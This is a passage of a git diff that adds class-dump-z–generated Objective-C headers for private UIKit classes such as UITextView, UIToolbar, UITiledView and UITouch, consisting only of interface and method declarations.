+-(id)_syntheticTouch; +-(void)callSuperTouchBegan:(XXStruct_CKAdxD*)began; +-(void)callSuperTouchMoved:(XXStruct_CKAdxD*)moved; +-(void)callSuperTouchEnded:(XXStruct_CKAdxD*)ended; +-(void)touchBegan:(XXStruct_CKAdxD*)began atLocation:(CGPoint)location; +-(void)touchMoved:(XXStruct_CKAdxD*)moved atLocation:(CGPoint)location; +-(void)touchEnded:(XXStruct_CKAdxD*)ended atLocation:(CGPoint)location loupeActive:(BOOL)active loupeTerminalPoint:(CGPoint)point; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +-(id)content; +-(void)beginSelectionChange; +-(void)endSelectionChange; +-(void)selectionChanged; +-(void)updateSelection; +-(id)selectionView; +-(id)interactionAssistant; +-(CGRect)selectionClipRect; +-(id)selectedText; +-(void)insertText:(id)text; +-(void)selectAll; +-(void)_setRtoLTextDirection:(id)direction; +-(void)_setLtoRTextDirection:(id)direction; +-(BOOL)canPerformAction:(SEL)action withSender:(id)sender; +-(id)undoManagerForWebView:(id)webView; +-(id)undoManager; +-(id)supportedPasteboardTypesForCurrentSelection; +-(id)documentFragmentForPasteboardItemAtIndex:(int)index; +-(void)scrollRectToVisibleInContainingScrollView; +-(void)webViewDidChange:(id)webView; +-(void)performBecomeEditableTasks; +-(void)setFrame:(CGRect)frame; +-(void)setSelectionWithPoint:(CGPoint)point; +-(void)setSelectionToStart; +-(void)setSelectionToEnd; +-(CGRect)rectForSelection:(NSRange)selection; +-(void)scrollSelectionToVisible:(BOOL)visible; +-(void)setContentToHTMLString:(id)htmlstring; +-(id)contentAsHTMLString; +-(id)textInputTraits; +-(void)forwardInvocation:(id)invocation; +-(id)methodSignatureForSelector:(SEL)selector; +-(BOOL)hasText; +-(BOOL)becomesEditableWithGestures; +-(void)setBecomesEditableWithGestures:(BOOL)gestures; +-(int)marginTop; +-(void)setMarginTop:(int)top; +-(CGRect)visibleRect; +-(CGRect)visibleTextRect; +-(id)webView; +-(void)scrollRangeToVisible:(NSRange)visible; +-(BOOL)shouldStartDataDetectors; +-(void)cancelDataDetectorsWithWebLock; +-(void)startDataDetectorsWithWebLock; +-(void)resetDataDetectorsResultsWithWebLock; +-(BOOL)mightHaveLinks; +-(void)tapLinkAtPoint:(CGPoint)point; +-(void)startInteractionWithLinkAtPoint:(CGPoint)point; +-(void)updateInteractionWithLinkAtPoint:(CGPoint)point; +-(void)validateInteractionWithLinkAtPoint:(CGPoint)point; +-(void)cancelInteractionWithLink; +-(void)startLongInteractionWithLinkAtPoint:(CGPoint)point; +-(BOOL)isInteractingWithLink; +-(BOOL)willInteractWithLinkAtPoint:(CGPoint)point; +-(BOOL)keyboardInput:(id)input shouldReplaceTextInRange:(NSRange)range replacementText:(id)text; +-(BOOL)keyboardInput:(id)input shouldInsertText:(id)text isMarkedText:(BOOL)text3; +-(BOOL)keyboardInputShouldDelete:(id)keyboardInput; +-(BOOL)keyboardInputChanged:(id)changed; +-(void)keyboardInputChangedSelection:(id)selection; +-(int)keyboardInput:(id)input positionForAutocorrection:(id)autocorrection; +-(void)webView:(id)view decidePolicyForNavigationAction:(id)navigationAction request:(id)request frame:(id)frame decisionListener:(id)listener; +-(void)setBottomBufferHeight:(float)height; +-(float)bottomBufferHeight; +-(void)setShowScrollerIndicators:(BOOL)indicators; +-(BOOL)showScrollerIndicators; +-(void)displayScrollerIndicators; +-(void)setOffset:(CGPoint)offset; +-(CGPoint)offset; +-(void)setAllowsRubberBanding:(BOOL)banding; +-(void)setScrollingEnabled:(BOOL)enabled; +-(BOOL)scrollingEnabled; +-(void)setAllowsFourWayRubberBanding:(BOOL)banding; +-(void)setScrollerIndicatorSubrect:(CGRect)subrect; +-(void)scrollToMakeCaretVisible:(BOOL)makeCaretVisible; +@end + +@interface UITextView (SyntheticEvents) +-(id)_automationValue; +@end + +@interface UITextView (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isAccessibilityElementByDefault; +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UITexturedButton.h b/igor/headers/dumpedUIKit/UITexturedButton.h new file mode 100644 index 0000000..1f795b0 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITexturedButton.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIButton.h" + + +__attribute__((visibility("hidden"))) +@interface UITexturedButton : UIButton { +} +-(id)initWithFrame:(CGRect)frame; +-(int)buttonType; +-(void)setHighlighted:(BOOL)highlighted; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)drawRect:(CGRect)rect; +-(void)setTitleColor:(id)color forStates:(unsigned)states; +-(id)titleColorForState:(unsigned)state; +-(void)setTitleShadowColor:(id)color forStates:(unsigned)states; +-(id)titleShadowColorForState:(unsigned)state; +-(void)setBackgroundImage:(id)image forStates:(unsigned)states; +-(id)backgroundImageForState:(unsigned)state; +@end + diff --git a/igor/headers/dumpedUIKit/UIThreadSafeNode.h b/igor/headers/dumpedUIKit/UIThreadSafeNode.h new file mode 100644 index 0000000..18dcd2e --- /dev/null +++ b/igor/headers/dumpedUIKit/UIThreadSafeNode.h @@ -0,0 +1,27 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class DOMNode; + +__attribute__((visibility("hidden"))) +@interface UIThreadSafeNode : NSObject { +@private + DOMNode* _node; +} ++(id)threadSafeNodeWithNode:(id)node; +-(id)initWithNode:(id)node; +-(id)description; +-(void)dealloc; +-(BOOL)isKindOfClass:(Class)aClass; +-(BOOL)isEqual:(id)equal; +-(BOOL)respondsToSelector:(SEL)selector; +-(void)forwardInvocation:(id)invocation; +-(id)methodSignatureForSelector:(SEL)selector; +@end + diff --git a/igor/headers/dumpedUIKit/UIThreePartButton.h b/igor/headers/dumpedUIKit/UIThreePartButton.h new file mode 100644 index 0000000..8af8c14 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIThreePartButton.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIPushButton.h" + + +@interface UIThreePartButton : UIPushButton { + XXStruct_UUz0SD _bkgndSlices; +} ++(id)defaultFont; +-(id)initWithFrame:(CGRect)frame; +-(void)setBackgroundSlices:(XXStruct_UUz0SD)slices; +-(void)setBackgroundImage:(id)image; +-(void)setPressedBackgroundImage:(id)image; +-(id)background; +-(XXStruct_UUz0SD)_backgroundSlices:(CGSize)slices; +-(float)minTitleMargin; +-(void)drawTitleAtPoint:(CGPoint)point width:(float)width; +@end + diff --git a/igor/headers/dumpedUIKit/UIThreePartImageView.h b/igor/headers/dumpedUIKit/UIThreePartImageView.h new file mode 100644 index 0000000..b6f5ce2 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIThreePartImageView.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImage; + +__attribute__((visibility("hidden"))) +@interface UIThreePartImageView : UIView { +@private + XXStruct_UUz0SD _slices; + UIImage* _image; +} +-(void)dealloc; +-(void)setImage:(id)image; +-(void)setSlices:(XXStruct_UUz0SD)slices; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UITile.h b/igor/headers/dumpedUIKit/UITile.h new file mode 100644 index 0000000..6b5833c --- /dev/null +++ b/igor/headers/dumpedUIKit/UITile.h @@ -0,0 +1,28 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +@interface UITile : UIView { + CGRect _dirtyRect; + BOOL _hasDrawnContent; +} +-(id)initWithFrame:(CGRect)frame; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(void)setNeedsDisplayInRect:(CGRect)rect; +-(void)setNeedsDisplay; +-(BOOL)_canDrawContent; +-(BOOL)willDrawContent; +-(void)drawRect:(CGRect)rect; +-(BOOL)hasDrawnContent; +-(void)setDirtyRect:(CGRect)rect; +-(void)setNeedsDisplayInDirtyRect; +-(void)invalidateContents; +@end + diff --git a/igor/headers/dumpedUIKit/UITiledView.h b/igor/headers/dumpedUIKit/UITiledView.h new file mode 100644 index 0000000..60440bb --- /dev/null +++ b/igor/headers/dumpedUIKit/UITiledView.h @@ -0,0 +1,94 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSMutableArray, NSString; + +@interface UITiledView : UIView { + NSMutableArray* _rows; + NSMutableArray* _unusedTiles; + NSString* _minificationFilter; + CGRect _visibleRect; + CGRect _requiredDrawRect; + CGRect _dirtyRect; + CGSize _tileSize; + CGSize _firstTileSize; + CGPoint _tileOrigin; + unsigned _maxTileCount; + BOOL _drawsGrid; + BOOL _isTilingEnabled; + BOOL _logsTilingChanges; + BOOL _tileDrawingEnabled; + BOOL _inLayout; + BOOL _allNewTilesNeeded; + BOOL _positionsTilesFromOrigin; + BOOL _sizesTilesToFit; + BOOL _tilesOpaque; + BOOL _adjustsMaxTileCountDynamically; +} ++(Class)tileClass; +-(unsigned)_usedTileCount; +-(unsigned)_tileCount; +-(id)_createTileWithFrame:(CGRect)frame; +-(CGRect)gridRect; +-(void)_removeTile:(id)tile cache:(BOOL)cache; +-(void)_removeRowAtIndex:(unsigned)index cache:(BOOL)cache; +-(void)_removeColumnAtIndex:(unsigned)index cache:(BOOL)cache; +-(unsigned)_removeLeastVisibleRowOrColumn:(BOOL)column; +-(void)_removeTilesIfNecessaryForRow:(BOOL)row; +-(void)removeAllNonVisibleTiles; +-(void)removeAllTiles; +-(void)_updateTileCache; +-(void)_removeTilesIfNecessary; +-(void)_createRow:(BOOL)row; +-(void)_createColumn:(BOOL)column; +-(void)_addNeededTiles; +-(BOOL)shouldRepaintInPieces:(CGRect)pieces region:(void*)region; +-(void)accurateDirtyRects:(CGRect**)rects count:(unsigned*)count clear:(BOOL)clear; +-(void)_invalidateTiles; +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(BOOL)tilesNeedDisplay; +-(void)flushDirtyRects; +-(void)layoutBeforeDraw; +-(void)_layoutTiles; +-(CGRect)_visibleRect; +-(CGRect)visibleRect; +-(void)layoutSubviews; +-(void)setNeedsLayout; +-(void)_didScroll; +-(void)setNeedsDisplayInRect:(CGRect)rect; +-(void)setNeedsDisplay; +-(void)setTransform:(CGAffineTransform)transform; +-(void)setTileSize:(CGSize)size; +-(void)setSizesTilesToFit:(BOOL)fit; +-(void)setPositionsTilesFromOrigin:(BOOL)origin; +-(void)setTileOrigin:(CGPoint)origin; +-(CGPoint)tileOrigin; +-(CGSize)tileSize; +-(void)setDrawsGrid:(BOOL)grid; +-(BOOL)drawsGrid; +-(void)setMaxTileCount:(unsigned)count; +-(unsigned)maxTileCount; +-(void)setAdjustsMaxTileCountDynamically:(BOOL)dynamically; +-(unsigned)adjustedMaxTileCount; +-(BOOL)_canDrawContent; +-(void)setTilingEnabled:(BOOL)enabled; +-(BOOL)isTilingEnabled; +-(void)setLogsTilingChanges:(BOOL)changes; +-(BOOL)logsTilingChanges; +-(void)ensureDrawnRect:(CGRect)rect; +-(void)setFirstTileSize:(CGSize)size; +-(void)setTileDrawingEnabled:(BOOL)enabled; +-(BOOL)tileDrawingEnabled; +-(void)setTileMinificationFilter:(id)filter; +-(void)setTilesOpaque:(BOOL)opaque; +-(BOOL)tilesOpaque; +@end + diff --git a/igor/headers/dumpedUIKit/UIToolbar.h b/igor/headers/dumpedUIKit/UIToolbar.h new file mode 100644 index 0000000..6d622f4 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIToolbar.h @@ -0,0 +1,157 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" +#import "UIToolbar.h" + +@class UIBarButtonItem, NSArray, UIColor; + +@interface UIToolbar : UIView { +@private + UIView* _customizeView; + id _delegate; + NSArray* _items; + UIBarButtonItem* _selectedItem; + NSArray* _customizationItems; + UIColor* _tintColor; + struct { + unsigned barStyle : 2; + unsigned mode : 2; + unsigned alertShown : 1; + unsigned wasEnabled : 1; + unsigned customized : 1; + unsigned downButtonSentAction : 1; + unsigned roundedCorners : 1; + unsigned isTranslucent : 1; + } _toolbarFlags; + CFDictionaryRef _groups; + NSArray* _buttonItems; + int _currentButtonGroup; + CFArrayRef _hiddenItems; + int _selectedTag; + int _trackingTag; +} +@property(retain, nonatomic) UIColor* tintColor; +@property(assign, nonatomic, getter=isTranslucent) BOOL translucent; +@property(copy, nonatomic) NSArray* items; +@property(assign, nonatomic) int barStyle; +-(id)initWithCoder:(id)coder; +-(void)_populateArchivedSubviews:(id)subviews; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(void)_updateOpacity; +-(void)setMode:(int)mode; +-(int)mode; +-(void)setDelegate:(id)delegate; +-(id)delegate; +-(void)setSelectedItem:(id)item; +-(id)selectedItem; +-(void)_sendAction:(id)action withEvent:(id)event; +-(void)_didFinishHidingRetainedOldItems:(id)items; +-(void)_finishSetItems:(id)items finished:(id)finished context:(void*)context; +-(void)setItems:(id)items animated:(BOOL)animated; +-(CGSize)defaultSizeForOrientation:(int)orientation; +-(CGSize)sizeThatFits:(CGSize)fits; +-(BOOL)isMinibar; +-(void)setBounds:(CGRect)bounds; +-(void)layoutSubviews; +-(void)beginCustomizingItems:(id)items; +-(BOOL)endCustomizingAnimated:(BOOL)animated; +-(BOOL)isCustomizing; +-(void)animateToolbarItemIndex:(unsigned)index duration:(double)duration target:(id)target didFinishSelector:(SEL)selector; +@end + +@interface UIToolbar (SynthEvents) +-(BOOL)_isHidden:(id)hidden; +-(id)_buttonName:(id)name withType:(int)type; +-(void)_updateScriptingInfo:(id)info view:(id)view; +-(id)scriptingInfoWithChildren; +@end + +@interface UIToolbar (Static) +-(id)_descriptionForTag:(int)tag; +-(void)_buttonDown:(id)down; +-(void)_buttonDownDelayed:(id)delayed; +-(void)_buttonUp:(id)up; +-(void)_buttonCancel:(id)cancel; +-(void)_adjustButtonSelection:(id)selection; +-(id)_buttonWithDescription:(id)description; +-(void)_customizeWithCurrentButtons:(id)currentButtons availableButton:(id)button; +-(void)_dismissCustomizeSheet:(BOOL)sheet; +-(void)_customizeDoneButtonAction:(id)action; +-(void)_finishCustomizeAnimation:(id)animation; +-(void)_showButtons:(int*)buttons withCount:(int)count group:(int)group withDuration:(double)duration adjustPositions:(BOOL)positions skipTag:(int)tag; +-(id)_currentButtons; +-(id)_configureFromOldButton:(id)oldButton toNewButtonWithTag:(int)tag skipTag:(int)tag3; +-(void)_finishButtonAnimation:(int)animation forButton:(int)button; +-(void)_customizeWithAvailableItems:(id)availableItems; +-(void)_configureToolbarReplacingItem:(id)item withNewItem:(id)newItem dragging:(BOOL)dragging swapping:(BOOL)swapping; +-(void)_updateItemsForNewFrame:(id)newFrame; +@end + +@interface UIToolbar (UIButtonBarInternal) ++(float)_buttonGap; +-(void)_alertWillShow:(BOOL)_alert duration:(float)duration; +-(void)_alertDidHide; +-(void)_positionToolbarButtons:(id)buttons ignoringItem:(id)item; +@end + +@interface UIToolbar (UIButtonBarButtonItem) +-(id)initInView:(id)view withFrame:(CGRect)frame withItems:(XXStruct_b4LybD*)items withCount:(int)count; +-(id)initInView:(id)view withItems:(XXStruct_b4LybD*)items withCount:(int)count; +@end + +@interface UIToolbar (UIButtonBarPrivate) ++(Class)defaultButtonClass; ++(Class)defaultTextButtonClass; ++(id)defaultButtonFont; ++(float)defaultHeight; ++(float)defaultSelectionModeHeight; ++(float)defaultHeightForBarSize:(int)barSize; +-(id)initInView:(id)view withFrame:(CGRect)frame withItemList:(id)itemList; +-(id)initInView:(id)view withItemList:(id)itemList; +-(id)createButtonWithDescription:(id)description; +-(void)positionButtons:(id)buttons tags:(int*)tags count:(int)count group:(int)group; +-(void)_buttonBarFinishedAnimating; +-(void)showButtons:(int*)buttons withCount:(int)count withDuration:(double)duration; +-(void)registerButtonGroup:(int)group withButtons:(int*)buttons withCount:(int)count; +-(void)showButtonGroup:(int)group withDuration:(double)duration; +-(int)currentButtonGroup; +-(void)getVisibleButtonTags:(int*)tags count:(unsigned*)count maxItems:(unsigned)items; +-(void)setButtonBarTrackingMode:(int)mode; +-(void)customize:(const int*)customize withCount:(int)count; +-(void)dismissCustomizeSheet:(BOOL)sheet; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(int)selectedButton; +-(void)showSelectionForButton:(int)button; +-(void)setBadgeValue:(id)value forButton:(int)button; +-(void)setBadgeGlyph:(id)glyph forButton:(int)button; +-(void)setBadgeAnimated:(BOOL)animated forButton:(int)button; +-(BOOL)onStateForButton:(int)button; +-(void)setOnStateForButton:(BOOL)button forButton:(int)button2; +-(void)animateWithDuration:(float)duration forButton:(int)button; +-(void)setHasRoundedCorners:(BOOL)corners; +-(BOOL)hasRoundedCorners; +-(void)setBounds:(CGRect)bounds; +-(void)setFrame:(CGRect)frame; +-(void)drawRect:(CGRect)rect; +-(id)buttonItems; +-(void)setButtonItems:(id)items; +@end + +@interface UIToolbar (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + diff --git a/igor/headers/dumpedUIKit/UIToolbarButton.h b/igor/headers/dumpedUIKit/UIToolbarButton.h new file mode 100644 index 0000000..8409eac --- /dev/null +++ b/igor/headers/dumpedUIKit/UIToolbarButton.h @@ -0,0 +1,70 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIControl.h" +#import "UIKit-Structs.h" + +@class UIColor, UILabel, UIToolbarButtonBadge, UISelectionIndicatorView; + +__attribute__((visibility("hidden"))) +@interface UIToolbarButton : UIControl { +@private + CGRect _hitRect; + UIView* _info; + UILabel* _label; + UIToolbarButtonBadge* _badge; + UISelectionIndicatorView* _selectedIndicator; + int _barStyle; + int _style; + UIEdgeInsets _glowAdjust; + BOOL _onState; + BOOL _barHeight; + BOOL _badgeAnimated; + BOOL _bezel; + float _width; + float _labelHeight; + UIEdgeInsets _infoInsets; + UIColor* _tintColor; +} ++(id)_defaultLabelFont; ++(id)_defaultLabelColor; ++(id)_pushButtonWithBarStyle:(int)barStyle withStyle:(int)style withTintColor:(id)tintColor; ++(void)_adjustPushButton:(id)button withBarStyle:(int)barStyle withStyle:(int)style withTintColor:(id)tintColor; +-(id)initWithImage:(id)image selectedImage:(id)image2 label:(id)label labelHeight:(float)height withBarStyle:(int)barStyle withStyle:(int)style withInsets:(UIEdgeInsets)insets possibleTitles:(id)titles withTintColor:(id)tintColor bezel:(BOOL)bezel imageInsets:(UIEdgeInsets)insets11 glowInsets:(UIEdgeInsets)insets12; +-(void)dealloc; +-(void)setSizesToFitImage:(BOOL)fitImage; +-(void)_sizeView:(id)view toPossibleTitles:(id)possibleTitles selectedTitle:(id)title; +-(void)setImage:(id)image; +-(void)_setButtonBarHitRect:(CGRect)rect; +-(CGRect)_buttonBarHitRect; +-(void)_showSelectedIndicator:(BOOL)indicator changeSelection:(BOOL)selection; +-(void)_setSelected:(BOOL)selected; +-(void)_positionBadge; +-(void)setFrame:(CGRect)frame; +-(void)_setBadgeValue:(id)value; +-(void)_badgeAnimationDidStop:(id)_badgeAnimation finished:(id)finished; +-(void)_setBadgeAnimated:(BOOL)animated; +-(void)_setInfoWidth:(float)width; +-(void)setEnabled:(BOOL)enabled; +-(BOOL)pointInside:(CGPoint)inside forEvent:(GSEventRef)event; +-(BOOL)pointInside:(CGPoint)inside withEvent:(id)event; +-(id)hitTest:(CGPoint)test forEvent:(GSEventRef)event; +-(id)hitTest:(CGPoint)test withEvent:(id)event; +-(void)setHighlighted:(BOOL)highlighted; +-(void)_adjustPushButton:(BOOL)button; +-(void)layoutSubviews; +-(BOOL)_isBordered; +-(void)_setOn:(BOOL)on; +-(BOOL)_isOn; +-(void)_animateImage:(float)image withButtonBar:(id)buttonBar target:(id)target didFinishSelector:(SEL)selector; +-(void)_animateImage:(float)image withButtonBar:(id)buttonBar; +-(void)_setBarHeight:(float)height; +-(BOOL)_useBarHeight; +-(void)setTintColor:(id)color; +-(void)_adjustPushButtonWithBarStyle:(int)barStyle withTintColor:(id)tintColor; +@end + diff --git a/igor/headers/dumpedUIKit/UIToolbarButtonBadge.h b/igor/headers/dumpedUIKit/UIToolbarButtonBadge.h new file mode 100644 index 0000000..3f372eb --- /dev/null +++ b/igor/headers/dumpedUIKit/UIToolbarButtonBadge.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UIToolbarButtonBadge : UIView { +@private + UIView* _value; + UIView* _background; + UIView* _alternate; +} +-(id)initWithValue:(id)value blinks:(BOOL)blinks; +-(void)dealloc; +-(CGSize)sizeThatFits:(CGSize)fits; +-(void)setValue:(id)value; +-(void)layoutSubviews; +-(void)setBlinks:(BOOL)blinks; +@end + diff --git a/igor/headers/dumpedUIKit/UIToolbarCustomizeView.h b/igor/headers/dumpedUIKit/UIToolbarCustomizeView.h new file mode 100644 index 0000000..a052ff7 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIToolbarCustomizeView.h @@ -0,0 +1,40 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKit-Structs.h" + +@class UIBarButtonItemProxy, UIImageView, NSMutableArray, UIBarButtonItem, UIToolbar; + +__attribute__((visibility("hidden"))) +@interface UIToolbarCustomizeView : UIView { +@private + UIToolbar* _toolbar; + NSMutableArray* _proxies; + NSMutableArray* _fixedItems; + UIBarButtonItemProxy* _draggingProxy; + UIBarButtonItem* _draggingItem; + UIImageView* _dragImage; + UIImageView* _replacementGlow; + UIBarButtonItem* _replaceItem; + CGPoint _startPoint; +} +-(void)setToolbar:(id)toolbar currentItems:(id)items availableItems:(id)items3; +-(void)dealloc; +-(void)layoutSubviews; +-(BOOL)canHandleSwipes; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)adjustDragImageWithTouches:(id)touches withEvent:(id)event; +-(id)itemInToolbarWithTouches:(id)touches withEvent:(id)event; +-(void)buttonBarTouchesBegan:(id)began withEvent:(id)event; +-(void)buttonBarTouchesMoved:(id)moved withEvent:(id)event; +-(void)buttonBarTouchesEnded:(id)ended withEvent:(id)event; +-(void)_finishTouchesEndedChangeAnimation:(id)animation finished:(id)finished context:(id)context; +@end + diff --git a/igor/headers/dumpedUIKit/UIToolbarCustomizeViewLegacy.h b/igor/headers/dumpedUIKit/UIToolbarCustomizeViewLegacy.h new file mode 100644 index 0000000..518b1db --- /dev/null +++ b/igor/headers/dumpedUIKit/UIToolbarCustomizeViewLegacy.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIToolbarCustomizeView.h" +#import "UIKit-Structs.h" + + +__attribute__((visibility("hidden"))) +@interface UIToolbarCustomizeViewLegacy : UIToolbarCustomizeView { +} +-(id)_fakeEventForEvent:(GSEventRef)event touches:(id)touches; +-(id)_fakeTouchesForEvent:(GSEventRef)event view:(id)view; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +-(void)buttonBarMouseDown:(GSEventRef)down; +-(void)buttonBarMouseDragged:(GSEventRef)dragged; +-(void)buttonBarMouseUp:(GSEventRef)up; +@end + diff --git a/igor/headers/dumpedUIKit/UIToolbarTextButton.h b/igor/headers/dumpedUIKit/UIToolbarTextButton.h new file mode 100644 index 0000000..34405e0 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIToolbarTextButton.h @@ -0,0 +1,23 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIToolbarButton.h" + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface UIToolbarTextButton : UIToolbarButton { +@private + NSString* _title; + NSString* _selectedTitle; +} +-(id)initWithTitle:(id)title selectedTitle:(id)title2 withFont:(id)font withBarStyle:(int)barStyle withStyle:(int)style withTitleWidth:(float)titleWidth possibleTitles:(id)titles withTintColor:(id)tintColor; +-(void)dealloc; +-(void)_setSelected:(BOOL)selected; +-(id)_scriptingInfo; +@end + diff --git a/igor/headers/dumpedUIKit/UITouch.h b/igor/headers/dumpedUIKit/UITouch.h new file mode 100644 index 0000000..43bad56 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITouch.h @@ -0,0 +1,76 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import +#import "UITouch.h" + +@class NSMutableArray, UIView, UIWindow; + +@interface UITouch : NSObject { + double _timestamp; + int _phase; + int _savedPhase; + unsigned _tapCount; + UIWindow* _window; + UIView* _view; + UIView* _gestureView; + NSMutableArray* _gestureRecognizers; + CGPoint _locationInWindow; + CGPoint _previousLocationInWindow; + struct { + unsigned _firstTouchForView : 1; + unsigned _isTap : 1; + unsigned _isWarped : 1; + unsigned _isDelayed : 1; + unsigned _sentTouchesEnded : 1; + } _touchFlags; +} +@property(readonly, retain, nonatomic) UIView* view; +@property(readonly, retain, nonatomic) UIWindow* window; +@property(readonly, assign, nonatomic) unsigned tapCount; +@property(readonly, assign, nonatomic) int phase; +@property(readonly, assign, nonatomic) double timestamp; +-(void)dealloc; +-(int)info; +-(BOOL)isTap; +-(BOOL)isWarped; +-(void)setIsDelayed:(BOOL)delayed; +-(BOOL)isDelayed; +-(void)setSentTouchesEnded:(BOOL)ended; +-(BOOL)sentTouchesEnded; +-(id)gestureRecognizers; +-(CGPoint)locationInView:(id)view; +-(CGPoint)previousLocationInView:(id)view; +-(void)_loadStateFromTouch:(id)touch; +@end + +@interface UITouch (UITouchInternal) +@property(retain, nonatomic) UIView* gestureView; +@property(retain, nonatomic) UIView* view; +@property(retain, nonatomic) UIWindow* window; +@property(assign, nonatomic) BOOL sentTouchesEnded; +@property(assign, nonatomic) BOOL isWarped; +@property(assign, nonatomic) BOOL isTap; +@property(assign, nonatomic) unsigned tapCount; +@property(assign, nonatomic) int phase; +@property(assign, nonatomic) double timestamp; ++(id)_createTouchesWithGSEvent:(GSEventRef)gsevent phase:(int)phase view:(id)view; +-(void)_setIsFirstTouchForView:(BOOL)view; +-(BOOL)_isFirstTouchForView; +-(void)_setLocationInWindow:(CGPoint)window resetPrevious:(BOOL)previous; +-(id)description; +-(void)_addGestureRecognizer:(id)recognizer; +-(void)_removeGestureRecognizer:(id)recognizer; +-(id)_gestureRecognizers; +-(void)_clearGestureRecognizers; +-(BOOL)_touchesBeganWasDelayed; +-(void)_pushPhase:(int)phase; +-(void)_popPhase; +-(CGPoint)_locationInWindow:(id)window; +@end + diff --git a/igor/headers/dumpedUIKit/UITouchData.h b/igor/headers/dumpedUIKit/UITouchData.h new file mode 100644 index 0000000..1dd6e91 --- /dev/null +++ b/igor/headers/dumpedUIKit/UITouchData.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIKit-Structs.h" + +@class UITouch; + +__attribute__((visibility("hidden"))) +@interface 